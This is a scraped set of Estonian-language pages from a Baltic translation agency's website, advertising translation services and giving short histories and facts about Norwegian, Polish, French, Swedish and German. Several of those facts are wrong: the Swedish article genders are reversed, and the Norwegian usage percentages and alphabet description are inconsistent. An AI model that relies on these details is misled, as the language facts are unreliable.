teistel. --- > Asjatundlikud tõlked leedu keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna NORRA KEEL – FAKTID JA ARVUD Norra keel kuulub indoeuroopa keelkonna germaani keelte rühma kuuluvate põhjagermaani keelte hulka. Norra keelt kõneleb umbes viis miljonit inimest üle kogu maailma, sealhulgas räägitakse norra keelt lisaks Norrale, kus see on riigikeel, ka USAs ja Kanadas. Norra keel on ka üks Põhjamaade Nõukogu töökeeltest. Nüüdisaegne norra keel on tugevasti mõjutatud oma naaberkeeltest. Kaugematel aegadel oli selles alamsaksa keele mõjutusi, hiljem asendusid need rootsi keele mõjutustega, kuid alates keskajast kuni Kalmari uniooni kokkuvarisemiseni 1524. aastal mängis norra keele arengus suurimat rolli taani keel. Kolm Põhjamaade keelt – norra, rootsi ja taani keel – on üksteisele väga lähedased ja sarnased. Selle põhjuseks võib pidada Skandinaavia ajalugu läbivaid paljusid muutusi riigipiiride asetuses. Varaseimad kirjalikud tõendid on leitud ruunikivide kujul, mis on tõenäoliselt pärit 10. –11. sajandist. Kui teistes riikides aitas religioossete kirjalike teoste avaldamine riigikeele arengule kaasa, siis vastupidiselt sellele tugevdas Norra liturgiline kirjandus vaid taani keele mõjutusi, kuna just see oli keel, milles avaldati piibel. Alates 19. sajandist on norra keeles eksisteerinud kaks kirjakeele kuju: bokmål (raamatukeel), mis põhineb taani keele leksikoloogial ja grammatikal ning norra keele foneetikal, ja nn uusnorra keel (nynorsk), mis tekkis 19. sajandi keskel erinevate norra keele murrete segunemisel. Uusnorra keele lõi umbes 1850. aastatel keeleteadlane Ivar Aasen. Juba mitmete aastakümnete jooksul on keeleteadlased püüdnud neid kahte kirjakeele kuju omavahel ühendada, kuid siiani edutult. 2005. aastal läbi viidud uuringus leiti, et 86,3% inimestest kasutab oma igapäevaelus kirjakeelena eeskätt raamatukeelt, 5,5% mõlemat ja 13% uusnorra keelt, samas kui kõnes räägitakse üldiselt murdeid, mis on lähedasemad uusnorra keelele. 92% väljaannetest avaldatakse raamatukeeles, mis tähendab, et vaid 8% trükistest on uusnorrakeelsed. Raamatukeel on valdav Oslos ja teistes suuremates linnades, uusnorra keelt kasutatakse enamasti riigi läänepoolses osas. Norra keeles on ohtralt murdeid, mille teket on põhjustanud geograafilised tegurid: paksud metsad, fjordid ja mägine maastik, mis välistasid isoleeritud kogukondade korrapärase üksteisega suhtlemise. Tänapäeval iseloomustavad norra keelt paljud inglise keelest pärinevad laensõnad, mida kasutatakse eeskätt majandus- ja tehnoloogiavaldkonnas. Norra koolides alustati inglise keele õpetamist esimese võõrkeelena 1935. aastal. Inglise keele mõjutused suurenesid märgatavalt pärast II maailmasõda. Enamik laensõnu on pärit majanduse, rahanduse ja ärivaldkondadest. Samuti on levinud hübriidsõnad, mille esimene osa on võetud inglise keelest ja teine norra keelest. Hinnanguliselt on 90% uudissõnadest mõjutatud inglise keelest. Norra keeles on lause ülesehitus rangelt kindlaks määratud – igal lauseosal on oma kindel koht. Nimisõnadel on vaid kaks käänet, tegusõnadel puuduvad pöördelõpud. Keeles kasutatakse artikleid. Norra tähestik on sama Taani tähestikuga: see koosneb 29 tähest, sealhulgas 23 ladina tähestiku tähest, millele on lisatud J, W, U, Æ, Ø ja Å. NORRA KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: norra-inglise, inglise-norra, norra-eesti, eesti-inglise, inglise-eesti, leedu-inglise, inglise-leedu, vene-inglise, inglise-vene, poola-inglise, inglise-poola, tšehhi-inglise, inglise-tšehhi, ukraina-inglise, inglise-ukraina, saksa-inglise, inglise-saksa, prantsuse-inglise, inglise-prantsuse, hispaania-inglise, inglise-hispaania, itaalia-inglise, inglise-itaalia, taani-inglise, inglise-taani, rootsi-inglise, soome-inglise, inglise-soome ja teistel. --- > Asjatundlikud tõlked poola keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna POOLA KEEL – FAKTID JA ARVUD Poola keelt räägitakse peamiselt Ida-Euroopas. See keel kuulub indoeuroopa keelkonna balti-slaavi keelte rühma. Poola keel on Poolas riigikeel, kuid seda kõnelevad suurearvulised rahvusvähemused ka Valgevenes, Tšehhi Vabariigis, Venemaal, Lätis, Leedus, Rumeenias, Ukrainas ja teistes riikides. Kogu maailmas kõneleb poola keelt kokku umbes 50 miljonit inimest. 38 miljonit neist elavad Poolas ja ülejäänud 12 miljonit Ühendkuningriigis, USAs, Valgevenes, Tšehhi Vabariigis, Lätis, Leedus, Rumeenias, Slovakkias, Ukrainas ja mujal. Poola keelt kõneleb emakeelena 45 miljonit inimest, mis teeb sellest keelest ühe kümnest kõige suurema emakeelena kõnelevate inimeste arvuga keelest Euroopas ja asetab selle maailmas samal alusel kahekümne viiendale kohale. Poola keel on sarnane tšehhi ja slovaki keelele, mis kõik kuuluvad lääneslaavi keelte hulka, mida algselt rääkisid polaani hõimud Suur-Poola vojevoodkonnas ja Visla jõe ääres Väike-Poola vojevoodkonnas elavad inimesed umbes 10. sajandil pKr. Ei ole täpselt teada, millise murde põhjal kujunes välja tänapäeval kasutatav poola keel, kuna keele areng kulges Poola riikluse tekkega samal ajal. Seega, kui vahetus riigi keskus, muutus ka Poola keele arengukese (minnes Gnieznost üle Poznani ja sealt edasi Krakowisse). Poola keeles on neli murret: Suur-Poola, Väike-Poola, Masoovia ja Sileesia, kuigi mõned keeleteadlased liigitavad viimase omaette sileesia keeleks, mitte murdeks. Teisi, väiksemaid murdeid räägitakse enamasti maapiirkondades, välja arvatud Podhale murrak, mida kõnelevad Tatra mägedes elavad inimesed, ja Pomorze vojevoodkonnas räägitav kašuubi keel, mida on tunnustatud kui Poola üht regionaalkeelt. Poola kirjakeel tekkis umbes 16. sajandil pKr. Selle arengusse andsid tugeva panuse poeedid ja kirjanikud Biernat z Lublina, Jan Kochanowski, Mikołaj Rej ja Piotr Skarga. Poola keeles on palju laensõnu tšehhi, prantsuse, itaalia, heebrea, vene, ladina, saksa keelest ja teistest keeltest. Poola keeles on põhiarvude süsteem eripäraselt rikkalik ja huviäratav – põhiarvudele omistatakse sugu ja neid tuleb käänata. Läti keelele sarnaselt on ka poola keeles olemas põhi-, murd- ja kordarvud, kuid sellele lisaks on poola keeles olemas ka kollektiivsed arvsõnad ja muud eri liiki arvsõnad. Poola tähestik põhineb ladina tähestikul ja see koosneb 32 tähest. Poola keeles on vähe vokaale ja sellega võrreldes palju konsonante, eelkõige afrikaate. Vokaalid ei jagune lühikesteks ja pikkadeks vokaalideks. Keel paistab silma suure hulga polüsüllaabiliste sõnade poolest, kus rõhk asetatakse kolmandale silbile. Sõnade järjekord lauses on suhteliselt vaba. Kõige varasem säilinud poolakeelne kirjalik tekst, milleks on inimeste ja kohanimede loend, pärineb aastast 1136. Esimene poolakeelne raamat avaldati 1561. aastal ja see oli piibli tõlge ladina keelest poola keelde. POOLA KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: poola-inglise, inglise-poola, eesti-poola, poola-eesti, leedu-poola, poola-leedu, vene-poola, poola-vene, tšehhi-poola, poola-tšehhi, ukraina-poola, poola-ukraina, saksa-poola, poola-saksa, prantsuse-poola, poola-prantsuse, hispaania-poola, poola-hispaania, itaalia-poola, inglise-poola, taani-poola, poola-taani, rootsi-poola, norra-poola, poola-norra, soome-poola, poola-soome ja teistel. --- > Asjatundlikud tõlked prantsuse keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna PRANTSUSE KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: prantsuse-inglise, inglise-prantsuse, eesti-prantsuse, prantsuse-eesti, leedu-prantsuse, prantsuse-leedu, vene-prantsuse, prantsuse-vene, poola-prantsuse, prantsuse-poola, tšehhi-prantsuse, prantsuse-tšehhi, ukraina-prantsuse, prantsuse-ukraina, saksa-prantsuse, prantsuse-saksa, hispaania-prantsuse, prantsuse-hispaania, itaalia-prantsuse, prantsuse-itaalia, taani-prantsuse, prantsuse-taani, rootsi-prantsuse, norra-prantsuse, prantsuse-norra, soome-prantsuse, prantsuse-soome ja teistel. PRANTSUSE KEEL – FAKTID JA ARVUD Prantsuse keel on üks indoeuroopa keelkonda kuuluvatest romaani keeltest. Prantsuse keel sai alguse juba enne 1. sajandit eKr, põhinedes vulgaarladina keelel, mille tõid praegusele Prantsusmaa territooriumile Rooma sõdurid pärast Põhja-Gallia vallutamist ning mille kohalikud inimesed üle võtsid. Prantsuse keele arengut mõjutas Gallia hõimude seas räägitav gallia keel ning germaani keeled, mida kõnelesid frangid, kes Rooma Impeeriumi hävingu järel praegusele Prantsusmaa territooriumile elama asusid. Prantsuse keel on kohalik emakeel umbes 70 miljonile inimesele, mille kohaselt platseerub see keel maailmas enim räägitud keelte edetabelis 18. kohale, samas kui prantsuse keele rääkijate koguarvu (130 miljonit) arvesse võttes asetub see 11. kohale. Prantsuse keel on Prantsusmaal riigikeel ja seda kõneldakse ka suurtes kogukondades Belgias, Kanadas, Luksemburgis, Monacos, Šveitsis ning mitmetes Aafrika riikides, mis olid varasemal ajal Prantsuse kolooniad, näiteks Alžeeria, Gabon, Elevandiluurannik, Mauritaania, Senegal ja teised. Prantsuse keel on ametlik keel kõigis ÜRO asutustes ja enamikus peamistes rahvusvahelistes organisatsioonides. Prantsuse tähestik koosneb ladina tähestiku 26 tähest. Mõnedele tähtedele – eelkõige väiketähtedele – võib olla lisatud diakriitilisi märke, mis muudavad sõna hääldust ja mille tõttu võib sõnal olla ka teine tähendus. Prantsuse keeles ei kasutata diakriitikutena pikkusmärki ega nn haaki (ümberpööratud tsirkumfleks). Kuid see-eest tarvitatakse mitmeid erilisi ligatuure: „œ“ (tähtede „o“ ja „e“ kombinatsioon) ja „æ“ (tähtede „a“ ja „e“ kombinatsioon). Prantsuse keeles kasutatakse nimisõnade ees artikleid, mis määravad ära sõna soo ja hulga. Artiklit „la“ kasutatakse naissoost ja artiklit „le“ meessoost sõnade eristamiseks ning mõlemate, nii mees- kui ka naissoost sõnade mitmust määratletakse artikliga „les“. Prantsuse keeles on olemas ka umbmäärased artiklid: naissoost „une“ ja meessoost „un“. Varaseimad prantsuskeelsed kirjalikud mälestised pärinevad 10. sajandist. Prantsuse keeles on mitmeid erinevaid murdeid, mis jaotatakse viide suurde rühma: kesk-, ida-, põhja-, edela- ja läänerühma murded. Kõige levinumad murded on Burgundia murre, Île-de-France’i murre, Lorraine’i murre, Normandia murre, pikardi murre, Poitou murre, Elsassi murre ja vallooni murre (Belgias). Klassikaline prantsuse keel põhineb Île-de-France’is räägitaval keskprantsuse murdel vastavalt Prantsuse kuninga Francis I (valitsusaeg 1515–1547) 16. sajandil tehtud otsusele. --- > Asjatundlikud tõlked rootsi keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna ROOTSI KEEL – FAKTID JA ARVUD Rootsi keel kuulub indoeuroopa keelkonna germaani keelte rühma kuuluvate põhjagermaani keelte hulka. See on suguluses norra, taani ja islandi keelega, olles lähim taani keelele ja sarnanedes kõige vähem norra keelega. Rootsi keelt räägib ligikaudu 10 miljonit inimest ja see on Rootsi riigikeel, teine riigikeel Soomes ning üks Euroopa Liidu ja Põhjamaade Nõukogu ametlikest töökeeltest. Rootsis on umbes 9,4 miljonit rootsi keele kõnelejat, samuti on neid Soomes 290 000, USAs 70 000, Hispaanias 40 000, Ühendkuningriigis 30 000 ja Kanadas 20 000. Rootsi keel on kõnelejate arvu poolest skandinaavia keelte hulgast suurim. Kuna kõik Skandinaaviamaade keeled on olnud ajalooliselt mõjutatud alamsaksa keelest, on rootslastel, soomlastel ja norrakatel üksteisest lihtne aru saada. Hinnanguliselt on 30–40% Skandinaavia sõnadest alamsaksa keelest pärinevad laensõnad ning sarnasused nende keelte vahel tulevad esile nii sõnavaras kui ka grammatikas. Rootsi keel arenes välja vanapõhja ehk vanaskandinaavia keelest, mida rääkisid viikingiajastul Skandinaavias elanud germaani hõimud. Umbes 8. sajandil hakkasid moodustuma piirkondlikud keelevormid, mille põhjal kujunes 11. sajandiks välja neli erinevat murret, mis hiljem arenesid nüüdisaegseteks põhjagermaani keelteks: islandi, norra, taani ja rootsi keeleks. Rootsi keele sõnavara on rikas laensõnade poolest, neist vanimad on üle võetud ladina, kreeka, alamsaksa ja ülemsaksa keeltest ning hilisemad prantsuse ja inglise keelest. Vanimad rootsi keele kirjalikud näited on avastatud ajaloomälestisi kaunistavate ruunide kujul, mis pärinevad juba 8. sajandist. Seoses kristluse ja sellega kaasnenud religioosse kirjanduse levikuga 10. –11. sajandil kasutati sel ajal ka Rootsis laiaulatuslikult ladina keelt. Olulisemad kirjalikud mälestised on säilinud alates 13. sajandist, kui rootslased hakkasid kasutama ladina tähestikku. Tuntuimad kirjalikud säilmed – ajalookroonikad – dateeruvad 14. sajandi algusesse. Rootsi kirjakeele areng sai tõuke piibli tõlkega ladina keelest rootsi keelde, mis avaldati 16. sajandil. Kirjakeel arenes jõudsalt 17. sajandil, kui selles eristusid kaks haru: rikssvenska (Rootsis) ja finlandssvenska (Soomes). Kirjakeel põhineb eeskätt Svealandi murretel. Esimene rootsikeelne trükitud raamat avaldati 1495. aastal ja esimene Rootsi keele grammatika õpik 1684. aastal (ladina keeles). Peamised murderühmad on järgmised: Lõuna-Rootsi, Götalandi, Svealandi, Norrlandi, Soome ja Gotlandi murded. Lisaks rootsi keele ortograafia aluseks oleva ladina tähestiku 26 tähele (A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z) sisaldab Rootsi tähestik ka tähemärke Å, Ä ja Ö ning harvemini esinevaid tähti Ü, À ja É. Rootsi keel on nii grammatilisest kui ka foneetilisest aspektist lähtuvalt üsna keeruline. Laused lõppevad tihti tõusva intonatsiooniga. Tavapäratu meloodiline kõla saavutatakse kahte liiki rõhuasetustega ehk aktsendiga: akuut ja graavis. Graavis esineb kahe- ja enamasilbilistes sõnades, kus ühel silbil on põhirõhk ja teisele omistatakse sekundaarne rõhuasetus. Sellistes sõnades on intonatsioon langev, tõusev ja taas langev (ehk laulev), luues sel viisil rootsi keelele omase musikaalsuse. Rõhutatud silbid on alati pikad, samas kui rõhuasetuseta silpe hääldatakse lühikestena. Lisaks vokaalidele võivad pikad olla ka kahekordsed konsonandid ning erinevate konsonantide kombinatsioonid. Rootsi nimisõnadel on kaks sugu: ühis- ja kesksugu. Enamik sõnu on kesksoost. Umbmäärane artikkel „en“ viitab kesksoole, määrav artikkel „ett“ aga ühissoole. Rootsi keele nimisõnad võivad olla kas määratud või määramata vormis. Omadussõnu käänatakse vastavalt nimisõna soole ja arvule – omadussõna lõpp sõltub nimisõnast, mida see iseloomustab. Sarnaselt läti keelega on ka rootsi keeles kahte liiki sidesõnu: rinnastavad ja alistavad. Sõnajärg on lausetes rangelt kindlaks määratud. ROOTSI KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: rootsi-inglise, rootsi-inglise, rootsi-eesti, eesti-rootsi, rootsi-eesti, leedu-rootsi, rootsi-leedu, vene-rootsi, rootsi-vene, poola-rootsi, rootsi-poola, tšehhi-rootsi, rootsi-tšehhi, ukraina-rootsi, rootsi-ukraina, saksa-rootsi, rootsi-saksa, prantsuse-rootsi, rootsi-prantsuse, hispaania-rootsi, rootsi-hispaania, itaalia-rootsi, rootsi-itaalia, taani-rootsi, rootsi-taani, norra-rootsi, rootsi-norra, soome-rootsi, rootsi-soome ja teistel. --- > Asjatundlikud tõlked saksa keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna SAKSA KEEL – FAKTID JA ARVUD Saksa keel kuulub indoeuroopa keelkonna läänegermaani keelte rühma. See sai alguse veidi enne 1. sajandit, kui germaani hõimud saabusid lõunast Kesk-Euroopasse. Hiljem lahknes germaani keel kolmeks piirkondlikuks haruks: põhjagermaani, idagermaani ja läänegermaani keeleks. Sajandite jooksul panid läänegermaani keeled aluse nüüdisaegsele saksa, hollandi, friisi, letseburgi, afrikaani, šoti ja inglise keelele. Tänapäeval kõneldava saksa keele arengu võib jagada kolme järgmisesse etappi: germaani algkeel (umbes aastatel 750–1050); keskülemsaksa keel (aastatel 1050–1500); kaasaegne saksa keel (alates aastast 1500). See on emakeel ligikaudu 108 miljonile inimesele, mis teeb sellest räägitavuselt kümnenda suurima keele maailmas. Euroopa Liidus on see aga kõige levinum emakeel. See on riigikeel mitmetes Euroopa Liidu riikides: Austria, Liechtenstein, Luksemburg, Šveits ja Saksamaa. Suuri saksakeelseid kogukondi võib leida ka mujalt Euroopast: Belgia idaosast, Lõuna-Taanist, Prantsusmaalt (Elsassi maakond) ja Põhja-Itaaliast. Saksa keele tähestik koosneb 26 ladina tähest. Tähestikku ei kuulu täpitähed (Ä, Ö ja Ü) ja ligatuur ß. Diakriitiku treema ehk täppide abil peenendatakse või pehmendatakse vokaali. Ligatuur ß (eszett) koondab ühe sümboli alla kaks s-tähte. Saksa keeles kirjutatakse kõik nimisõnad suure tähega. Enne nimisõnu kasutatakse artikleid, millega määratletakse ära sõnade sugu. Naissoost nimisõnu tähistatakse artikliga „die“, meessoost nimisõnu artikliga „der“ ja kesksoost nimisõnu artikliga „das“. Arvatakse, et esimene nüüdissaksakeelne raamat oli Martin Lutheri (1483–1546) tõlgitud piibel, mis trükiti 1534. aastal. Kaasaegses saksa keeles on kaks murret: alam- ja ülemsaksa murre. Alamsaksa murret räägitakse Põhja-Saksamaal. Selle ajalooline areng jaotatakse kolme perioodi: 1) vanasaksi keele areng (8. –11. sajand); 2) keskalamsaksa keele areng (12. –16. sajandini) ja 3) uusalamsaksa keele areng (alates 16. sajandist). Seda murret räägib üheksa miljonit inimest. Ülemsaksa murret räägitakse Saksamaa kesk- ja lõunaosas. See läbis oma arengus järgmised etapid: 1) vanaülemsaksa keele areng (8. –11. sajand); 2) keskülemsaksa keele areng (12. –16. sajandini) ja 3) uusülemsaksa keele areng (alates 16. sajandist). Uusülemsaksa keele põhjal tekkis kaasaegne saksa kirjakeel. SAKSA KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: saksa-inglise, inglise-saksa, saksa-eesti, eesti-saksa, saksa-eesti, leedu-saksa, saksa-leedu, vene-saksa, saksa-vene, poola-saksa, saksa-poola, tšehhi-saksa, saksa-tšehhi, ukraina-saksa, saksa-ukraina, prantsuse-saksa, saksa-prantsuse, hispaania-saksa, saksa-hispaania, itaalia-saksa, saksa-itaalia, taani-saksa, saksa-taani, rootsi-saksa, norra-saksa, saksa-norra, soome-saksa, saksa-soome ja teistel. --- > Asjatundlikud tõlked soome keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna SOOME KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: soome-inglise, inglise-soome, soome-eesti, eesti-soome, soome-eesti, leedu-soome, soome-leedu, 